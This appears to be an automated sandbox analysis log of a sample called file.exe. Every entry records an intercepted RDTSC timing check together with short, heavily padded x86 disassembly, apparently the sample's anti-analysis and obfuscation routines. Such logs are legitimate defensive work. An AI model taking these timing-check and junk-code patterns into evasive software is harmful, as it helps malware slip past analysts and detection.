Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FDB30 second address: 8FDB40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a jc 00007F228D5156C6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FDB40 second address: 8FDB44 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FDB44 second address: 8FDBD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 nop 0x00000008 xor cl, 00000063h 0x0000000b cmc 0x0000000c push 00000000h 0x0000000e mov dword ptr [ebp+122D27BEh], ebx 0x00000014 push 891EC4A6h 0x00000019 jnp 00007F228D5156D8h 0x0000001f add dword ptr [esp], 76E13BDAh 0x00000026 or ecx, 7776FB15h 0x0000002c push 00000003h 0x0000002e jbe 00007F228D5156C9h 0x00000034 movsx edi, cx 0x00000037 push 00000000h 0x00000039 xor dword ptr [ebp+122D18EEh], eax 0x0000003f mov di, si 0x00000042 push 00000003h 0x00000044 and edx, dword ptr [ebp+122D2B70h] 0x0000004a call 00007F228D5156C9h 0x0000004f jmp 00007F228D5156CDh 0x00000054 push eax 0x00000055 push edx 0x00000056 push eax 0x00000057 pushad 0x00000058 popad 0x00000059 pop eax 0x0000005a pop edx 0x0000005b mov eax, dword ptr [esp+04h] 0x0000005f pushad 0x00000060 jmp 00007F228D5156CBh 0x00000065 push eax 0x00000066 push edx 0x00000067 pop edx 0x00000068 pop eax 0x00000069 popad 0x0000006a mov eax, dword ptr [eax] 0x0000006c pushad 0x0000006d push eax 0x0000006e push edx 0x0000006f push eax 0x00000070 push edx 0x00000071 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FDBD9 second address: 8FDBDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FDBDD second address: 8FDBFD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F228D5156D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FDBFD second address: 8FDC43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 popad 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c push edi 0x0000000d pushad 0x0000000e push eax 0x0000000f pop eax 0x00000010 push edx 0x00000011 pop edx 0x00000012 popad 0x00000013 pop edi 0x00000014 pop eax 0x00000015 and cx, FB72h 0x0000001a lea ebx, dword ptr [ebp+1244FA24h] 0x00000020 jmp 00007F228CBCA0AEh 0x00000025 xchg eax, ebx 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007F228CBCA0B5h 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FDC43 second address: 8FDC60 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F228D5156C8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push ebx 0x0000000c pushad 0x0000000d jmp 00007F228D5156CCh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91F33C second address: 91F342 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EB56A second address: 8EB570 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EB570 second address: 8EB582 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnl 00007F228CBCA0A8h 0x0000000b pushad 0x0000000c push edi 0x0000000d pop edi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91D127 second address: 91D142 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F228D5156D7h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91D2F0 second address: 91D2F8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91D622 second address: 91D626 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91D626 second address: 91D63B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a popad 0x0000000b jl 00007F228CBCA0CAh 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91D63B second address: 91D656 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F228D5156D2h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push esi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91DC2D second address: 91DC31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91DC31 second address: 91DC37 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91DEDB second address: 91DEE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91DEE0 second address: 91DEE6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91DEE6 second address: 91DEEA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91E051 second address: 91E05B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91E05B second address: 91E06F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F228CBCA0B0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91E333 second address: 91E33F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F228D5156C6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F3CE7 second address: 8F3D09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jmp 00007F228CBCA0B9h 0x0000000b push eax 0x0000000c pop eax 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91E47E second address: 91E482 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91E482 second address: 91E4A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F228CBCA0B7h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91EA2F second address: 91EA33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91EA33 second address: 91EA39 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91EA39 second address: 91EA49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jbe 00007F228D5156C6h 0x0000000e push eax 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91EA49 second address: 91EA6B instructions: 0x00000000 rdtsc 0x00000002 ja 00007F228CBCA0A6h 0x00000008 jng 00007F228CBCA0A6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F228CBCA0B0h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91EA6B second address: 91EA6F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91EA6F second address: 91EA7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91EA7B second address: 91EA7F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91EBF6 second address: 91EC00 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F228CBCA0AEh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91EC00 second address: 91EC0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91EC0D second address: 91EC2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F228CBCA0B5h 0x00000009 pop edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91EC2B second address: 91EC35 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F228D5156C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91EED9 second address: 91EEDD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91EEDD second address: 91EEE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9211D3 second address: 9211D9 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9211D9 second address: 9211FE instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F228D5156D8h 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f pushad 0x00000010 popad 0x00000011 pop eax 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9211FE second address: 921208 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F228CBCA0A6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92079E second address: 9207C9 instructions: 0x00000000 rdtsc 0x00000002 js 00007F228D5156D8h 0x00000008 jmp 00007F228D5156D2h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 jbe 00007F228D5156D4h 0x00000016 push eax 0x00000017 push edx 0x00000018 jns 00007F228D5156C6h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 921973 second address: 92197D instructions: 0x00000000 rdtsc 0x00000002 js 00007F228CBCA0A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92197D second address: 9219B6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 jmp 00007F228D5156D8h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov eax, dword ptr [eax] 0x0000000f pushad 0x00000010 push esi 0x00000011 jnc 00007F228D5156C6h 0x00000017 pop esi 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b pop edx 0x0000001c popad 0x0000001d mov dword ptr [esp+04h], eax 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9219B6 second address: 9219BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9219BC second address: 9219C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92395B second address: 923961 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 924E34 second address: 924E38 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 924E38 second address: 924E44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 924E44 second address: 924E48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E8115 second address: 8E812B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F228CBCA0B2h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E812B second address: 8E814E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F228D5156D9h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E814E second address: 8E8152 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92B60E second address: 92B612 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92B76A second address: 92B770 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92B770 second address: 92B77D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 pushad 0x00000007 popad 0x00000008 pop ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b push edi 0x0000000c pop edi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92B77D second address: 92B796 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jmp 00007F228CBCA0AFh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92B796 second address: 92B7A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F228D5156C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92BAA6 second address: 92BAAB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92DC87 second address: 92DC8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92DC8C second address: 92DC96 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007F228CBCA0A6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92DFC1 second address: 92DFC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92DFC5 second address: 92DFC9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92DFC9 second address: 92DFCF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92E355 second address: 92E35A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92E422 second address: 92E428 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92E8BB second address: 92E8BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92EDF5 second address: 92EDF9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92EDF9 second address: 92EE0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 jnl 00007F228CBCA0A8h 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92FCE8 second address: 92FCEC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 931082 second address: 931088 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 931088 second address: 9310A2 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F228D5156CFh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9310A2 second address: 9310AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F228CBCA0A6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 931957 second address: 93195D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93329C second address: 9332A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 933CB6 second address: 933D11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 pop eax 0x00000008 push eax 0x00000009 pop eax 0x0000000a popad 0x0000000b popad 0x0000000c nop 0x0000000d mov esi, dword ptr [ebp+122D2A9Ch] 0x00000013 push 00000000h 0x00000015 pushad 0x00000016 push ebx 0x00000017 mov bl, 2Ch 0x00000019 pop ebx 0x0000001a jmp 00007F228D5156CBh 0x0000001f popad 0x00000020 push 00000000h 0x00000022 push 00000000h 0x00000024 push eax 0x00000025 call 00007F228D5156C8h 0x0000002a pop eax 0x0000002b mov dword ptr [esp+04h], eax 0x0000002f add dword ptr [esp+04h], 0000001Dh 0x00000037 inc eax 0x00000038 push eax 0x00000039 ret 0x0000003a pop eax 0x0000003b ret 0x0000003c push esi 0x0000003d mov esi, 094C20B3h 0x00000042 pop esi 0x00000043 push eax 0x00000044 push eax 0x00000045 push edx 0x00000046 push edx 0x00000047 pushad 0x00000048 popad 0x00000049 pop edx 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 936D4E second address: 936D52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 936D52 second address: 936D5C instructions: 0x00000000 rdtsc 0x00000002 jp 00007F228D5156C6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 936D5C second address: 936D62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 936D62 second address: 936D68 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 936D68 second address: 936D6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 939EAD second address: 939EB1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 939EB1 second address: 939EB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 939EB7 second address: 939EDA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F228D5156D4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jnp 00007F228D5156C8h 0x00000012 push esi 0x00000013 pop esi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 939EDA second address: 939EE1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93AE01 second address: 93AE05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 938FB8 second address: 938FBC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93B001 second address: 93B010 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F228D5156CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93B010 second address: 93B01A instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F228CBCA0ACh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93B01A second address: 93B03D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F228D5156D9h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93B03D second address: 93B04B instructions: 0x00000000 rdtsc 0x00000002 jns 00007F228CBCA0A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93B04B second address: 93B04F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93D089 second address: 93D08F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93D08F second address: 93D093 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93C0E3 second address: 93C0E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93F0F1 second address: 93F0F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93E353 second address: 93E358 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
